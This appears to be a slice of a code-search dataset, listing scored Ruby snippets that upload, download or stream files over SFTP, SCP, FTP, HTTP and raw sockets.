"text": "def upload_file(local_file, remote_path)\n Net::SFTP.start(HOSTNAME, USERNAME, :password => PASSWORD) do |sftp|\n file_perm = 0644\n next if File.stat(local_file).directory?\n remote_file = remote_path + \"/\" + local_file\n \n begin\n rstat = sftp.stat!(remote_file)\n rescue Net::SFTP::StatusException => e\n raise unless e.code == 2\n puts \"Copying #{local_file} to #{remote_file}\"\n sftp.upload(local_file, remote_file)\n sftp.setstat(remote_file, :permissions => file_perm)\n next\n end\n \n #puts File.stat(local_file).mtime \n #puts Time.at(rstat.mtime)\n if File.stat(local_file).mtime > Time.at(rstat.mtime)\n puts \"Updating #{local_file} to #{remote_file}\"\n sftp.upload(local_file, remote_file)\n end\n end\n end",
"title": ""
},
{
"docid": "1ec9ea3c79bd5975b82e23f29cc6f7ab",
"score": "0.47361597",
"text": "def upload\n @files.each do |fn|\n sh %{scp -q #{@local_dir}/#{fn} #{@host}:#{@remote_dir}}\n end\n end",
"title": ""
},
{
"docid": "b06252b07f34f4e8552f6a10cda11145",
"score": "0.47145268",
"text": "def sendUploadRequest(noRendering = false)\n # get @devfile\n\n # Internal usage\n if noRendering\n\n if @device == nil\n @device = User.find_by_username(params[:username]).devices.find_by_dev_name(params[:devicename])\n end\n\n if @device != nil\n # gets @path and @filename\n getPathAndFilename\n @devfile = @device.devfiles.find(:first, :conditions => [\"name = ? and path = ?\", @filename, @path])\n end\n \n # external usage\n else\n @devfile = Devfile.find_by_id(params[:id].to_i)\n puts \"upload request for file \" + @devfile.name + \"(\" + @devfile.id.to_s + \")\"\n end\n \n # Devfile has been found:\n # request upload\n if @devfile != nil\n \n # Tries to find the correct version of the file\n if @blob == nil\n @blob = Blob.find_by_id(params[:blob_id])\n end\n \n if @blob != nil\n\n @commit = Commit.find_by_id(BlobsInCommit.find(:first, :conditions => [\"blob_id = ?\", @blob.id]).commit_id)\n if @commit != nil\n\n if @device == nil\n @device = @commit.device\n\n if @device == nil\n render :text => \"fail. no device found\", :status => 404\n return\n end\n end\n \n # send request message\n message = \"upload \" + @devfile.path + @devfile.name + \" \" + @commit.commit_hash\n XmppHelper::sendXmppMessage(@device.xmppname, message)\n @blob.update_attribute(:upload_requested, true)\n @device.update_attribute(:xmpp_request_sent, DateTime.now)\n\n end\n end\n else\n render :text => \"fail. no file found\", :status => 404\n return\n end\n\n # if the request was from ajax, render part of the page\n if not noRendering\n render :update do |page|\n page[params[:id].to_s + '_upload'].replace_html :partial => 'upload', :locals => {:loading => true, :offline => false}\n poll = 'do_polling_' + params[:id]\n page.assign poll, true\n end \n end\n \n end",
"title": ""
},
{
"docid": "abda0276e8a306d65d8f34f0537a4ecc",
"score": "0.46851113",
"text": "def save_file\n return if in_remote_url.blank?\n\n Fs.mkdir_p(::File.dirname(path))\n\n content_type = nil\n size_limit = in_size_limit.to_i\n\n start_fetch(in_remote_url, 10, {}) do |response|\n overall_received_bytes = 0\n content_type = response.content_type\n content_length = response.content_length.to_i\n\n if size_limit > 0 && content_length > 0 && content_length > size_limit\n raise SS::StreamingFile::SizeError, \"file size limit exceeded\"\n end\n\n ::File.open(path, \"wb\") do |f|\n response.read_body do |chunk|\n if size_limit > 0 && overall_received_bytes > size_limit\n raise SS::StreamingFile::SizeError, \"file size limit exceeded\"\n end\n\n f.write chunk\n overall_received_bytes += chunk.size\n print number_to_human_size(overall_received_bytes), \" \" * 10, \"\\r\"\n end\n end\n end\n\n self.content_type = ::SS::MimeType.find(filename, content_type)\n self.size = Fs.stat(path).size\n\n # TODO: do some exif things\n end",
"title": ""
},
{
"docid": "c3da15aa47daae95e926d77faca449a9",
"score": "0.4680164",
"text": "def beginDownload(dataFilename, stormFilename)\n\tchecksums = Array.new\n\tstatuses = Array.new\n\tif( File.file?(dataFilename) )\n\t\tputs \"Error: Data file \" + dataFilename + \" already exists!\"\n\t\texit 1\n\tend\n\tif( ! File.file?(stormFilename) )\n\t\tputs \"Error: Storm file \" + stormFilename + \" does not exist!\"\n\t\texit 1\n\tend\n\tdataFile = File.open(dataFilename, \"w\")\n\tstormFile = File.open(stormFilename, \"r\")\n\tuntil stormFile.eof?\n\t\tchecksum = stormFile.readline.chomp\n\t\tchecksums.push(checksum)\n\t\tstatuses.push(Incomplete)\n\tend\n\tdone = false\n\twhile( ! done )\n\t\t$hashlock.synchronize {\n\t\t\tdone = true\n\t\t\tfor number in 0 .. (checksums.size - 1) do\n\t\t\t\tif( statuses[number] == Incomplete )\n\t\t\t\t\tdone = false\n\t\t\t\t\tThread.new() { requestChunk(number, checksums, statuses) }\n\t\t\t\t\tsleep 0.2 \n\t\t\t\t\t# If we don't sleep then \"number\" is changed before the\n\t\t\t\t\t# thread can be created. Real obnoxious bug.\n\t\t\t\tend\t\t\t\t\n\t\t\tend\n\t\t}\n\t\tsleep Announcewait\n\tend\nend",
"title": ""
},
{
"docid": "eea2ae6fca0c924cac87587c323f4c6d",
"score": "0.46491706",
"text": "def run\n srv = if self.path\n UNIXServer.new(path)\n else\n TCPServer.new(host, port)\n end\n\n loop do\n io = accept_connection(srv)\n\n begin\n data = receive_data(io)\n send_data(io, handle_data(io, data)) if data\n rescue\n raise 'Connection reset by peer' if config[:debug] && io.closed?\n ensure\n io.close rescue nil\n GC.start if config[:run_gc_per_request]\n end\n end\n end",
"title": ""
},
{
"docid": "9f29b84f23d44c7b92b252d196f4433e",
"score": "0.46477538",
"text": "def send_file_full(req_path, request, response,mime_type=\"image/png\", header_only=false )\n\t return send_file_xsendfile(request, response,req_path, mime_type)\n\tend",
"title": ""
},
{
"docid": "dc4a742b6c442fc791a4951ed460f281",
"score": "0.46412852",
"text": "def send_to(ip, files)\n begin\n puts \"[*] copying #{files} to ip : #{ip}\"\n sock = TCPSocket::new ip, RNCP::PORT\n sock.setsockopt Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1\n\n data = tar files\n \n sock.send data.string, 0\n sock.flush\n\n rescue Exception => e\n puts \"[!] cannot create connection to host, bailing out\"\n puts e\n ensure\n sock.close if sock.nil? == false\n puts \"[#] finished\"\n end\n end",
"title": ""
},
{
"docid": "e18224556de3d9993187367de3c66ff4",
"score": "0.4638482",
"text": "def render_file file, content_type=nil\n socket.print \"HTTP/1.1 200 OK\\r\\n\" +\n \"Content-Type: #{content_type || content_type(file)}\\r\\n\" +\n \"Content-Length: #{file.size}\\r\\n\" +\n \"Connection: close\\r\\n\"\n\n socket.print \"\\r\\n\"\n\n # write the contents of the file to the socket\n IO.copy_stream(file, socket)\n end",
"title": ""
},
{
"docid": "582dd050b0ca0dc254616d653f0cc62d",
"score": "0.4635147",
"text": "def send(data, flags = 0)\n result = Winsock.send(@descriptor, data, data.size, flags)\n SocketError.check if result == -1\n return result\n end",
"title": ""
},
{
"docid": "e31d2ad97ee81fbef7f3d46f8e2144f4",
"score": "0.46342427",
"text": "def uploadFilestoFTP(order_hash, status_hash)\n\t\torder_number = order_hash[:order_number]\n\t\tfile_path = File.join(File.dirname(__FILE__), 'orders', order_number, \"*\")\n\t\tbegin\n\t\t\tNet::FTP.open($CONFIG[:ftp_server]) do |ftp|\n\t\t\t\tftp.passive = true\n\t\t\t\tftp.login(user = $CONFIG[:ftp_user], passwd = $CONFIG[:ftp_pass])\n\t\t\t\tftp.mkdir(\"#{order_number}\") if !ftp.list(\"/\").any?{|dir| dir.match(\"#{order_number}\")}\n\t\t\t\t\t\t\t\t\n\t\t\t\tDir.glob(file_path).each do|file|\n\t\t\t\t\tfile_name = Pathname.new(file).basename.to_s\n\t\t\t\t\tftp.putbinaryfile(file, \"/#{order_number}/#{file_name}\", 1024)\n\t\t\t\tend\n\t\t\t\tstatus_hash[:ftp_status] = 1\n\t\t\t\tstatus_hash[:ftp_msg] = 'files copied to ftp'\n\t\t\tend\n\t\trescue => e\n\t\t\tstatus_hash[:status] = 1\n\t\t\tstatus_hash[:ftp_status] = 0\n\t\t\tstatus_hash[:ftp_msg] = 'not connected'\n\t\t\tstatus_hash[:s3_status] = 0\n\t\t\tstatus_hash[:msg] = e\n\t\tend\t \n\tend",
"title": ""
},
{
"docid": "59e9c4db04829b1bfc7e981c05ad5fb7",
"score": "0.46276373",
"text": "def upload_to_sftp(sfu_connection, dir_local, upload_dir, file_regex, options)\n if options[:verbose]\n puts \"---Uploading files to UPSTREAM\"\n end\n full_rem_dir = sfu_connection.realpath!(upload_dir).name\n Dir.chdir(dir_local)\n local_files = Dir.foreach(dir_local).map{|file| file}\n local_file = local_files.find_all{|x| x =~ /#{file_regex}/}\n if local_file.empty? == true\n log_error(\"There are no files to be uploaded to the sFTP server\")\n if options[:verbose]\n puts \"---Local folder #{dir_local} is EMPTY\"\n end\n else\n data_files = local_file.select {|x| x !~ /END|end/}\n log_error(\"These files are going to be uploaded: #{data_files} to the sFTP server\")\n if options[:verbose]\n puts \"---Uploading files #{data_files} to #{full_rem_dir}\"\n end\n data_uls = data_files.map{|item| sfu_connection.upload!(dir_local + item, full_rem_dir + \"/\" + item, :progress => CustomHandler.new)}\n data_uls.each{|u| u.wait}\n end_files = local_file.select {|x| x =~ /END|end/}\n log_error(\"These files are going to be uploaded: #{end_files} to the sFTP server\")\n if options[:verbose]\n puts \"---Uploading END files #{end_files} to #{full_rem_dir}\"\n end\n end_uls = end_files.map{|item| sfu_connection.upload!(dir_local + item, full_rem_dir + \"/\" + item, :progress => CustomHandler.new)}\n end_uls.each{|u| u.wait}\n end\n rescue Net::SFTP::StatusException => access_error\n log_error(\"Permission denied, because of #{access_error.message}\")\nend",
"title": ""
},
{
"docid": "a4495e4b636adadd90ff2e471161d736",
"score": "0.46175364",
"text": "def gbn_server(filename, socket)\n ip, port = socket.remote_address.ip_unpack\n\n # Break file into an array of strings of length <= GBN_DATA_MAX_SIZE\n file = []\n File.open(filename) do |f|\n while !f.eof?\n file << f.read(GBN_DATA_MAX_SIZE)\n end\n end\n\n seq_base = 0\n seq_max = file.length - 1\n last_received = Time.now\n while true\n \n # Receive\n begin\n received = socket.recv_nonblock(4) # 32 bit number\n req_num = received.unpack(GBN_PACK_CLIENT).first\n last_received = Time.now\n if req_num > seq_base\n log_puts(ip, port, 1, \"Received ACK for #{req_num}/#{seq_max}; moving window up...\")\n seq_base = req_num\n else\n log_puts(ip, port, 1, \"Received ACK for #{req_num}/#{seq_max}; keeping window at #{seq_base}...\")\n end\n \n if seq_base == seq_max\n log_puts(ip, port, 0, 'Received ACK for EOF; closing socket...')\n break\n end\n rescue\n if Time.now - last_received > TIMEOUT\n log_puts(ip, port, 0, 'Timed out...')\n break\n end\n end\n\n # Send\n begin\n GBN_WINDOW_SIZE.times do |n|\n if (seq_send = seq_base + n) <= seq_max\n chunk = [seq_send, file[seq_send]].pack(GBN_PACK_SERVER)\n log_puts(ip, port, 2, \"Sending \\\"#{chunk}\\\"\")\n else # we're at the end, send the blank packet\n chunk = [seq_send, ''].pack(GBN_PACK_SERVER)\n log_puts(ip, port, 2, 'Sending EOF...')\n end\n socket.send(chunk, 0)\n end\n rescue\n # Do nothing\n end\n end\n socket.close\nend",
"title": ""
},
{
"docid": "a368a870f056519f725cf5b20374a18c",
"score": "0.46110883",
"text": "def transfer( payload )\n @chronicle.file += payload\n @chronicle.save!\n\n notify( :transfer_success, payload.length )\n rescue => e\n notify( :transfer_failure, e.message )\n end",
"title": ""
},
{
"docid": "81785e9f25f407b7ad67669adcfa4373",
"score": "0.46082804",
"text": "def handleDownloadFileRequest(req)\n begin\n length = File.size(req.path)\n # There is a possible race condition here. If we get the file size, and then\n # start sending bytes, and a writer is still writing to the end of the file\n # we will write too few bytes. As well if the file shrinks, we won't write enough\n # bytes and the reader will wait forever. Could solve this using a marker at the\n # end of the stream instead of prefixing with the length.\n io = File.open(req.path, \"r\")\n StreamMessage.new(length, io)\n rescue\n StreamMessage.new(0, nil)\n end\n end",
"title": ""
},
{
"docid": "7796f6ee7a3849b78c966377f628554a",
"score": "0.46060237",
"text": "def send_file(path, response)\n input = java.io.FileInputStream.new(path.to_s)\n channel = input.getChannel\n begin\n transfer_channel channel, response.getOutputStream\n ensure\n channel.close\n input.close rescue nil\n end\n end",
"title": ""
},
{
"docid": "3c5c5d92641e42815d616041335bd718",
"score": "0.46032563",
"text": "def uploadViaFTP(host, usermame , password , path, files_to_upload)\n \n checkPathOnFTP(host, usermame , password , path)\n \n # on est sûr d'avoir le dossier qu'il faut\n # on fait la vraie connexion\n \n ftp = Net::FTP.new(host)\n \n ftp.login(usermame , password)\n \n # ftp.chdir(path)\n \n files_to_upload.each do |names|\n puts \"host: #{host}\"\n puts 'Envoi du fichier ' + names[0] + ' vers ' + names[1]\n ftp.putbinaryfile(names[0].to_s, names[1])\n end\n \n ftp.close\n \nend",
"title": ""
},
{
"docid": "b44f10d034e872d7e69fed6edf4dba67",
"score": "0.46013725",
"text": "def send_file_contents\n self.status = 200\n prepare_file_headers\n send_data(file.content)\n end",
"title": ""
},
{
"docid": "eb8fba1579b36e1ff6c1e55ad2fd66c3",
"score": "0.45994732",
"text": "def copy files, host, dir\n dest = \"#{dir}/#{host}\"\n File.directory?(dest) || mkdir_p(dest)\n #puts \"Connecting to #{host}\"\n begin\n Net::SFTP.start(host, \"root\", :auth_methods => [\"publickey\"], :keys => [$key], :timeout => 1) do |sftp|\n files.each do |file|\n begin\n dir = File.dirname \"#{dest}/#{file}\"\n stats = sftp.stat! file\n if stats\n File.directory?(dir) || mkdir_p(dir)\n if stats.directory?\n sftp.download! file, \"#{dest}/#{file}\", :recursive => true\n chmod stats.permissions, \"#{dest}/#{file}\"\n else\n sftp.download! file, \"#{dest}/#{file}\"\n chmod stats.permissions, \"#{dest}/#{file}\"\n end\n touch \"#{dest}/.completed\" #at least one copied file. Too intensive?\n end\n rescue\n #puts \"Next for #{file}\"\n next #file does not exist\n end\n end\n end\n rescue Net::SFTP::Exception => e\n puts \"#{host} sftp exception: #{e}\"\n return false\n #rescue Net::SCP::Error => e\n # puts \"#{host} scp error: #{e}\"\n # return false\n rescue Timeout::Error => e\n puts \"#{host} timeout: #{e}\"\n return false\n rescue Errno::ECONNREFUSED => e\n puts \"#{host} refused: #{e}\"\n return false\n rescue SocketError => e\n puts \"#{host} resolve: #{e}\"\n return false\n rescue Net::SSH::AuthenticationFailed => e\n puts \"#{host} auth failed: #{e}\"\n return false\n rescue Net::SSH::Disconnect => e\n puts \"#{host} disconnected: #{e}\"\n return false #no access to host\n end\n return true\nend",
"title": ""
},
{
"docid": "1ffae40386b7a8948ad25af428258693",
"score": "0.45985353",
"text": "def submit_payments_file!(filename, lock_object=nil)\n shortname = filename.match(/[\\\\\\/]([^\\\\\\/]+)$/)[1]\n if lock_object && lock_object.submit_locked?(shortname)\n # raise RuntimeError, \"Submit for #{shortname} is locked!\"\n return nil\n else\n lock_object.submit_lock!(shortname) if lock_object\n res = with_ftp do |ftp|\n # 1) Create the STAGING folder if it's not already there.\n begin\n ftp.mkdir(DCAS::STAGING_BUCKET) unless ftp.nlst.include?(DCAS::STAGING_BUCKET)\n ftp.chdir(DCAS::STAGING_BUCKET)\n # 2) Delete the same filename from the STAGING folder if one exists.\n ftp.delete(shortname) if ftp.nlst.include?(shortname)\n # 3) Upload the file into the STAGING folder.\n puts \"Uploading #{filename} as #{shortname}...\"\n ftp.put(filename, shortname)\n true\n rescue Object\n lock_object.submit_failed!(shortname) if lock_object\n false\n end && begin\n # 4) If we're still connected, check the file size of the file, then move it out of STAGING and mark file as completed.\n if ftp.nlst.include?(shortname) && ftp.size(shortname) == File.size(filename)\n begin\n ftp.rename(shortname, \"../#{incoming_bucket}/#{shortname}\") unless testing || incoming_bucket == DCAS::STAGING_BUCKET\n true\n rescue Object\n false\n end && begin\n lock_object.submit_finished!(shortname) if lock_object\n true\n end\n else\n if lock_object\n lock_object.submit_failed!(shortname)\n false\n else\n raise RuntimeError, \"FAILED uploading `#{filename}' - incomplete or unsuccessful upload. Please try again.\"\n end\n end\n rescue Object\n lock_object.submit_failed!(shortname) if lock_object\n false\n end\n end\n lock_object.submit_failed!(shortname) if lock_object && res.nil?\n res\n end\n end",
"title": ""
},
{
"docid": "524e0b106b8df07f27f91db053901abe",
"score": "0.45944414",
"text": "def scp(src_file, path_of_servers, dst_file, option = \"\")\n _path_of_servers = path_of_servers.dup\n remove_first_localhost!(_path_of_servers)\n\n #generate session uuid and make temp dir string\n sid = SecureRandom.uuid\n temp_file = \"#{temp_dir(sid)}#{File.basename(src_file)}\"\n\n #first, local src file to edge server's temp dir\n #(/tmp/onion_ssh/<session uuid>/<files>)\n first = _path_of_servers.shift\n ssh([first], \"mkdir -p #{temp_dir(sid)} >& /dev/null\")\n `#{one_scp_str(src_file, first, temp_file)}`\n \n #second to last - 1 , scp temp dir to temp dir\n last = _path_of_servers.pop\n temp_path = [first]\n _second_to_last_minus_one = _path_of_servers\n _second_to_last_minus_one.each do |sv|\n temp_path << sv\n ssh(temp_path,\"mkdir -p #{temp_dir(sid)} >& /dev/null\")\n end\n\n temp_path = [first]\n _second_to_last_minus_one.each do |sv|\n ssh(temp_path, \"#{one_scp_str(temp_file, sv, temp_dir(sid))}\")\n temp_path << sv\n end\n\n #last minus one's path=(temp_path above) and last\n ssh(temp_path, \"#{one_scp_str(temp_file, last, dst_file)}\")\n #delete garbage\n clear_temp([first] + _second_to_last_minus_one, sid)\n end",
"title": ""
},
{
"docid": "fe6fbd59b1aa7cc192da930e9e594a89",
"score": "0.4585742",
"text": "def upload(chunk_size = 4 * 1024 * 1024)\n chunk = file_object.read(chunk_size)\n @cursor = client.upload_session_start(chunk)\n\n while cursor.offset < total_size\n begin\n chunk = file_object.read(chunk_size)\n client.upload_session_append_v2(cursor, chunk)\n rescue StandardError => err\n Error.wrap(err, \"Uploader error\")\n end\n end\n end",
"title": ""
},
{
"docid": "c2079c1b66b0d7e2afe989484f6f4b56",
"score": "0.45736352",
"text": "def upload(chunk_size = 4*1024*1024)\n last_chunk = nil\n\n while @offset < @total_size\n if not last_chunk\n last_chunk = @file_obj.read(chunk_size)\n end\n\n body, result = @client.files.partial_chunked_upload(last_chunk,\n @upload_id, @offset)\n last_chunk = nil\n\n if result.offset > @offset\n @offset = result.offset\n last_chunk = nil\n end\n @upload_id = result.upload_id\n end\n end",
"title": ""
},
{
"docid": "b4d99a304a83badea33c447aac353240",
"score": "0.45732987",
"text": "def writeRawFile(sPathFile = nil)\n\n\t\tif nil == sPathFile\n\t\t\treturn nil;\n\t\tend\n\n\t\tiCountSent = 0\n\t\tiTargetID = nil\n\t\tbHeaderFound = NO\n\t\tsData = ''\n\n\t\tbegin\n\n\t\t\toF = File.new(sPathFile);\n\t\t\twhile(nil != (iChar = oF.getbyte())) do\n\nputs 'byte # 0x' << \"%02X\" % iCount << ' hex: 0x' << \"%02X\" % iChar << ' binary: ' << iChar.to_s(2);\n\n\t\t\t\tif (bHeaderFound)\n\t\t\t\t\tif (iTargetID.nil?)\n\t\t\t\t\t\tiTargetID = iByte.chr\n\t\t\t\t\tend # if not yet read target ID\n\t\t\t\telse\n\n\t\t\t\t\tnext if 0x00 == iByte\n\n\t\t\t\t\tbHeaderFound = YES if 0xFF == iByte\n\n\t\t\t\tend # if no header found yet\n\n\t\t\t\tsData << iByte\n\n\t\t\t\tiCountSent += 1\n\n\t\t\tend # loop all bytes in file\n\n\t\trescue Exception => e\n\n\t\t\t# anything ?\n\n\t\tensure\n\n\t\t\tif (nil != oF)\n\t\t\t\toF.close();\n\t\t\tend\n\n\t\tend\np ' writeRawFile to ID: ' << iTargetID.to_s\n\t\tsIP = SssSEMapp.oIOframeHandler.getIPstringForID(iTargetID)\n\n\t\t# if no IP\n\t\tif (sIP.nil?)\n\t\t\tself.sendTo(iTargetID, sData)\n\t\telse\n\t\t\tself.sendTo(sIP, sData)\n\t\tend # if target has been 'seen' on Ethernet or not\n\n\t\treturn iCountSent;\n\n\tend",
"title": ""
},
{
"docid": "85c6846a15961ab658c7895b16c55441",
"score": "0.4572879",
"text": "def publishObj(niUri, file, destHost, msgId)\n# print (\"publish: #{niUri}, #{file}, #{destHost}, #{msgId}\\n\")\n url=URI::parse(\"http://#{destHost}/netinfproto/publish\")\n \n res=nil\n\n File.open(file) do |obj|\n req = Net::HTTP::Post::Multipart.new(url.path,\n \"octets\" => UploadIO.new(obj, \"application/octet-stream\", file),\n \"URI\" => niUri.to_s,\n \"msgid\" => msgId,\n # \"loc1\" => \"\",\n # \"loc2\" => \"\",\n \"fullPut\" => \"yes\",\n \"rform\" => \"json\"\n )\n print \"Sending #{req} to #{url}\\n\"\n res = Net::HTTP.start(url.host, url.port) do |http|\n http.request(req)\n end\n end \n \n res\n \n end",
"title": ""
},
{
"docid": "64e4f8bceaa0f389e2cd0d32301ba8db",
"score": "0.45721212",
"text": "def send_features(folder_id, folder_name)\n # get all features files from folder\n feature_list = Dir.glob(\"#{$dir_target}/#{folder_name}/*.feature\")\n puts \"Count features to upload: #{feature_list.count}\"\n\n # Send features to HipTest\n feature_list.each do |file|\n if !File.directory?(file)\n file_name = get_name_feature_from_path(file)\n feature_content = read_feature_by_path(file)\n new_feature_request(folder_id, feature_content, file_name)\n puts \"Send new feature: #{file_name}\"\n sleep 2\n end\n end\nend",
"title": ""
},
{
"docid": "fba8984c728bcbe1808b3bd6062f371d",
"score": "0.45708677",
"text": "def process_writing\n\t\t\t@writing_thread = Thread.new do\n\t\t\t\tbegin\n\t\t\t\t\twhile @connected do\n\t\t\t\t\t\t# gets the next RTMP_PACKET to write from the event queue\n\t\t\t\t\t\tt_packet,to_close = @writing_queue.pop\n\t\t\t\t\t\tt_packet.size = t_packet.data.length\n\t\t\t\t\t\t# init a 'frame stream' if it doesn't exist yet\n\t\t\t\t\t\tif ! @frames_out.has_key? t_packet.frame\n\t\t\t\t\t\t\t@frames_out[t_packet.frame] = Frame.new(0,0,0,0)\n\t\t\t\t\t\t\tpacket_mask = 0\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t# determine the 'mask' property\n\t\t\t\t\t\t\tt_frame = @frames_out[t_packet.frame]\n\t\t\t\t\t\t\tpacket_mask = 0\n\t\t\t\t\t\t\tif (t_frame.obj == t_packet.obj)\n\t\t\t\t\t\t\t\tpacket_mask += 1 \n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tif (t_frame.data_type == t_packet.data_type) and (t_frame.size == t_packet.size)\n\t\t\t\t\t\t\t\tpacket_mask += 1 \n\t\t\t\t\t\t\t\tif (t_frame.timer == t_packet.timer)\n\t\t\t\t\t\t\t\t\tpacket_mask += 1 \n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t\tt_frame = @frames_out[t_packet.frame]\n\n\t\t\t\t\t\tt_f = t_packet.frame\n\t\t\t\t\t\t\n\t\t\t\t\t\t# writes the 'frame' property, can be 'frame1' or 'frame1'+'frame2' or 'frame1'+'frame3'\n\t\t\t\t\t\tif t_f >= 64 && t_f <= 255\n\t\t\t\t\t\t\tpacket_str = \"\" << [(packet_mask*64)].pack('C') << [t_packet.frame].pack('C')\n\t\t\t\t\t\telsif t_f > 255\n\t\t\t\t\t\t\tt_f = 1\n\t\t\t\t\t\t\tpacket_str = \"\" << [((packet_mask*64)+1)].pack('C') << [t_packet.frame].pack('n')\n\t\t\t\t\t\telsif t_f < 2\n\t\t\t\t\t\t\traise StandardError,\"packet Error\"\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tpacket_str = \"\" << [((packet_mask*64)+t_packet.frame)].pack('C')\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\t# writes the 'time', 'datasize', 'rtmpdatatype' and 'streamid' properties to the socket\n\t\t\t\t\t\t# and update the 'frame stream' last values\n\t\t\t\t\t\tcase packet_mask\n\t\t\t\t\t\twhen 2\n\t\t\t\t\t\t\tt_frame.timer = t_packet.timer\n\t\t\t\t\t\t\tpacket_str << setMediumInt(t_packet.timer)\n\t\t\t\t\t\twhen 1\n\t\t\t\t\t\t\tt_frame.timer = t_packet.timer\n\t\t\t\t\t\t\tt_frame.data_type = t_packet.data_type\n\t\t\t\t\t\t\tt_frame.size = t_packet.size\n\t\t\t\t\t\t\tpacket_str << setMediumInt(t_packet.timer)\n\t\t\t\t\t\t\tpacket_str << setMediumInt(t_packet.size)\n\t\t\t\t\t\t\tpacket_str << t_packet.data_type\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tt_frame.timer = t_packet.timer\n\t\t\t\t\t\t\tt_frame.data_type = t_packet.data_type\n\t\t\t\t\t\t\tt_frame.size = t_packet.size\n\t\t\t\t\t\t\tt_frame.obj = t_packet.obj\n\t\t\t\t\t\t\tpacket_str << setMediumInt(t_packet.timer)\n\t\t\t\t\t\t\tpacket_str << setMediumInt(t_packet.size)\n\t\t\t\t\t\t\tpacket_str << t_packet.data_type\n\t\t\t\t\t\t\tpacket_str << [t_packet.obj].pack(\"N\")\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\tpacket_str << t_packet.data\n\t\t\t\t\t\t# write the 'rtmpdata' property to the socket\n\t\t\t\t\t\twrite(packet_str)\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t@bytes_out += packet_str.length\n\t\t\t\t\t\t@msg_out += 1\n\t\t\t\t\t\t\n\t\t\t\t\t\t# disconnect if asked to\n\t\t\t\t\t\tif to_close\n\t\t\t\t\t\t\tdisconnect\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\trescue Exception => obj\n\t\t\t\t\tdisconnect(obj)\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "6b6ab623cf2458ca0fce8d6ba67f5b83",
"score": "0.4560328",
"text": "def start host, port, port_to_contact, first_node\n folder = ARGV[0]\n # puts \"starting\", host, port, port_to_contact, first_node\n Thread.new {\n unless first_node\n puts \"not the first so joining using socket to connect\"\n s = TCPSocket.open(host, port)\n $node.join port_to_contact\n end\n while true\n sleep(2)\n $node.stabalize\n $node.fixRandomFinger\n $node.testing\n end\n }\n\n Thread.new {\n node_server = TCPServer.open(host, port)\n loop {\n Thread.start(node_server.accept) do |node_client|\n data = node_client.gets\n msg = {\"type\" => nil}\n msg = JSON.parse(data) if data\n\n if msg[\"type\"] == \"ping\"\n node_client.puts ({\"type\"=>\"pong\"}).to_json\n end\n if msg[\"type\"] == \"getNode\"\n node_client.puts ($node.node).to_json\n end\n if msg[\"type\"] == \"getPredecessor\"\n node_client.puts ($node.predecessor).to_json\n end\n if msg[\"type\"] == \"getSuccessorsTable\"\n node_client.puts ($node.successors).to_json\n end\n if msg[\"type\"] == \"findPredecessor\"\n pred_node = $node.findPredecessor msg[\"id\"]\n node_client.puts pred_node.to_json\n end\n if msg[\"type\"] == \"getSuccessor\"\n succ_node = $node.getSuccessor\n node_client.puts succ_node.to_json\n end\n if msg[\"type\"] == \"findSuccessor\"\n succ_node = $node.findSuccessor msg[\"id\"]\n node_client.puts succ_node.to_json\n end\n if msg[\"type\"] == \"notify\"\n $node.notify msg[\"node\"]\n reply = { \"type\"=> \"done\" }.to_json\n node_client.puts reply\n end\n if msg[\"type\"] == \"getPredecessor\"\n node_client.puts ($node.predecessor).to_json\n end\n if msg[\"type\"] == \"requestFile?\"\n file_name = msg[\"file_name\"]\n port = msg[\"port\"]\n reply = {\"file_exists\"=>nil}\n reply[\"file_exists\"] = ($node.requestFile? file_name, port) ? true : false\n node_client.puts reply.to_json\n end\n if msg[\"type\"] == \"sendingFile\"\n file = msg[\"file\"] \n f_name = \"files/\" + folder + \"/\" + (file.match (/([^\\/]+)$/)).to_s\n temp_file = f_name+\".temp\"\n unless File.exist? f_name or File.exist? temp_file\n File.open(temp_file, 'wb') do |file|\n # begin\n while chunk = node_client.read(1024)\n break if chunk.empty?\n file.write chunk\n end\n # rescue\n # f = (file.match (/([^\\/]+)$/)).to_s\n # end\n end\n # puts \"now changin name\"\n $mutex.synchronize do\n File.rename temp_file, f_name\n end\n end\n end\n node_client.close\n end\n }\n }\nend",
"title": ""
},
{
"docid": "03f9fbc78810fc2f0a312cb3c09db5a1",
"score": "0.45588526",
"text": "def scp_upload(src_file, remote_folder)\n scp_connect\n success = false\n unless @scp_session.nil? or is_dryrun\n begin\n scp_mkdir_p(remote_folder) unless scp_dir_exist?(remote_folder)\n rem_file = File.join(remote_folder, File.basename(src_file)).to_s\n @scp_session.upload!(src_file, rem_file)\n # some files don't take permissions of their parent folder, not sure why!\n # forcing file permissions as well!\n scp_set_file_perms(rem_file)\n success = true\n rescue => ex\n puts(\"ERR: failed to upload #{src_file} to remote #{remote_folder}: response #{ex.to_s}\")\n $stdout.flush\n end\n ssh_disconnect\n end\n success\n end",
"title": ""
},
{
"docid": "88cb014e5656fcce368ef29d1947431d",
"score": "0.4542183",
"text": "def file_upload(*paths); net_scp_transfer!(:upload, false, *paths); end",
"title": ""
},
{
"docid": "1477715bc7ae13ae4201e5acfac02616",
"score": "0.45417076",
"text": "def copy_to_local(file_name, local_path, speed_limit = nil)\n src_path = \"#{self.path}#{file_name}\"\n \n r = `rm -rf #{local_path.shellescape}; mkdir -p #{File.dirname(local_path).shellescape} 2>&1`\n raise r if $?.exitstatus != 0\n \n speed_limit = (speed_limit * 1000).to_i if speed_limit.to_f > 0\n cmd = self.class.curr_host == host ? \n \"cp -r #{src_path.shellescape} #{local_path.shellescape}\" : \n \"scp -r -q -oBatchMode=yes -oStrictHostKeyChecking=no #{speed_limit.to_i > 0 ? '-l '+speed_limit.to_s : ''} #{self.host}:\\\"#{src_path.shellescape}\\\" #{local_path.shellescape}\"\n r = `#{cmd} 2>&1`\n raise r if $?.exitstatus != 0\n end",
"title": ""
}
] |
